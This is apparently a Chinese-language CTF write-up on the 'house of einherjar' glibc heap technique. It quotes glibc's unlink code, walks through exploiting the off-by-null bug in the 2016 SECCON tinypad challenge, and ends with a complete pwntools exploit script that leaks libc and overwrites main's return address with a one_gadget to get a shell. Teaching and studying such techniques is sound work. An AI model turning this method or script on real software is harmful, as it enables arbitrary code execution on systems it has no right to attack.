house of einherjar
利用原理
free
函数后向(向低地址)合并操作
1 2 3 4 5 6 7
| if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
顺便看看 unlink
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
利用条件
- 利用堆溢出或者off-by-null漏洞能修改高地址的 chunk 的
prev_inuse
字段。(栈溢出/off-by-one)
- 后向(向低地址)合并时,新的 chunk 的位置取决于
chunk_at_offset(p, -((long) prevsize))
。
fake_chunk
的 fd
和 bk
为 fake_chunk
的地址,以绕过 unlink检测。
- 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
- 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
2016 Seccon tinypad
程序存在 off-by-null
漏洞。
exp详解
leak 地址部分就不详细分析了,从 house of einherjar
分配堆块开始分析。
1.堆块分配
chunk1 用于修改 chunk2 的 prev_size 段以及 prev_inuse 。
chunk3、chunk4 主要用于填充程序自定义的缓冲区域。
1 2 3 4
| add(0x18,'a'*0x18) add(0x100,'b'*0xf8 + '\x11') add(0x100,'c'*0xf8) add(0x100,'d'*0xf8)
|
利用分为两个部分,第一是在 target_addr 处(选择在 tinypad+0x20 处)构造 fake_chunk 。第二是写 chunk2 的 prev_size 段以及 prev_inuse 。
2.构造 fake_chunk
1 2 3 4
| payload = 'a'*0x20 payload += p64(0) + p64(0x101) payload += p64(fd) + p64(bk) edit(3,payload)
|
3.写 chunk2 字段
在此之前我们需要计算出 chunk2 到 tinypad+0x20 处的距离
1 2 3 4 5
| tinypad = 0x602040 fake_chunk_addr = tinypad + 0x20 fd = fake_chunk_addr bk = fake_chunk_addr offset = chunk2 - fake_chunk_addr
|
通过程序strcpy写入构造的 chunk2 字段,再 free(2)。
1 2 3 4 5 6
| payload = 'a'*0x14 + p64(offset) edit(1,payload) for i in range(4): payload = 'a'*(0x13-i) + p64(offset) edit(1,payload) free(2)
|
下一个申请的 0xf0 大小的堆块就在 0x602060 处。
4.修复 fake_chunk
在申请堆块之前我们需要修复一下 fake_chunk 的 size 、fd 和 bk,
fd 和 bk 必须是 unsorted bin
1 2 3 4
| payload = 'b'*0x20 payload += p64(0) + p64(0x101) payload += p64(malloc_hook+0x10+88)*2 edit(4,payload)
|
后写 payload 修改 tinypad_array 的指针
1 2
| payload = 'f' * (0x100 - 0x20 - 0x10) + p64(0x18) + p64(environ) + p64(0xf0) + p64(0x602148) add(0xf8,payload)
|
5.修改 main 函数的返回地址为 one_gadget 地址获取 shell
首先是在栈上找到 0x7f9afca72840 (__libc_start_main+240),后计算出偏移
1 2 3
| offset = environ_addr - (__libc_start_main+240)
main_ret = environ_addr - offset
|
chunk2 -> chunk1 ,利用 chunk2 修改 chunk1 指向 main_ret ,chunk1 修改 main_ret 为one_gadget
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| from pwn import * from LibcSearcher import * import time, sys, base64
context.os = 'linux' context.arch = 'amd64'
context.log_level = 'debug'
debug = 1 filename = 'tinypad'
if debug == 1 : p = process(filename) if debug == 2: p = remote('node4.buuoj.cn',20002) if debug == 3: p = remote('127.0.0.1',12345)
elf = ELF(filename) libc = elf.libc
def cmd(index): p.sendlineafter('(CMD)>>> ',str(index))
def add(size,content): cmd('A') p.sendlineafter('(SIZE)>>> ',str(size)) p.sendlineafter('(CONTENT)>>> ',content)
def edit(index,content): cmd('E') p.sendlineafter('(INDEX)>>> ',str(index)) p.sendlineafter('(CONTENT)>>> ',content) p.sendlineafter('(Y/n)>>> ','Y')
def free(index): cmd('D') p.sendlineafter('(INDEX)>>> ',str(index))
add(0x70,'a') add(0x70,'b') add(0x100,'c')
free(2) free(1) p.recvuntil(' # CONTENT: ') chunk1 = u64(p.recv(4).ljust(8,'\x00')) - 0x80 chunk2 = chunk1 + 0x20 log.success('chunk1: ' + hex(chunk1))
free(3) malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x10 - 88 log.success('malloc_hook: ' + hex(malloc_hook)) libc_base = malloc_hook - libc.sym['__malloc_hook'] system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] environ = libc_base + libc.sym['__environ'] log.success('libc_base: ' + hex(libc_base)) log.success('system_addr: ' + hex(system_addr)) log.success('free_hook: ' + hex(free_hook)) log.success('environ: ' + hex(environ))
add(0x18,'a'*0x18) add(0x100,'b'*0xf8 + '\x11') add(0x100,'c'*0xf8) add(0x100,'d'*0xf8)
tinypad = 0x602040 fake_chunk_addr = tinypad + 0x20 fd = fake_chunk_addr bk = fake_chunk_addr offset = chunk2 - fake_chunk_addr
payload = 'a'*0x20 payload += p64(0) + p64(0x101) payload += p64(fd) + p64(bk) edit(3,payload)
payload = 'a'*0x14 + p64(offset) edit(1,payload) for i in range(4): payload = 'a'*(0x13-i) + p64(offset) edit(1,payload)
free(2)
payload = 'b'*0x20 payload += p64(0) + p64(0x101) payload += p64(malloc_hook+0x10+88)*2 edit(4,payload)
payload = 'f' * (0x100 - 0x20 - 0x10) + p64(0x18) + p64(environ) + p64(0xf0) + p64(0x602148) add(0xf8,payload)
p.recvuntil('# CONTENT: ') environ_addr = u64(p.recv(6).ljust(8,'\x00')) main_ret = environ_addr - 0xf0 one_gadget = libc_base + 0x45226 log.success('environ_addr: ' + hex(environ_addr)) log.success('main_ret: ' + hex(main_ret))
edit(2,p64(main_ret)) edit(1,p64(one_gadget))
gdb.attach(p)
p.interactive()
|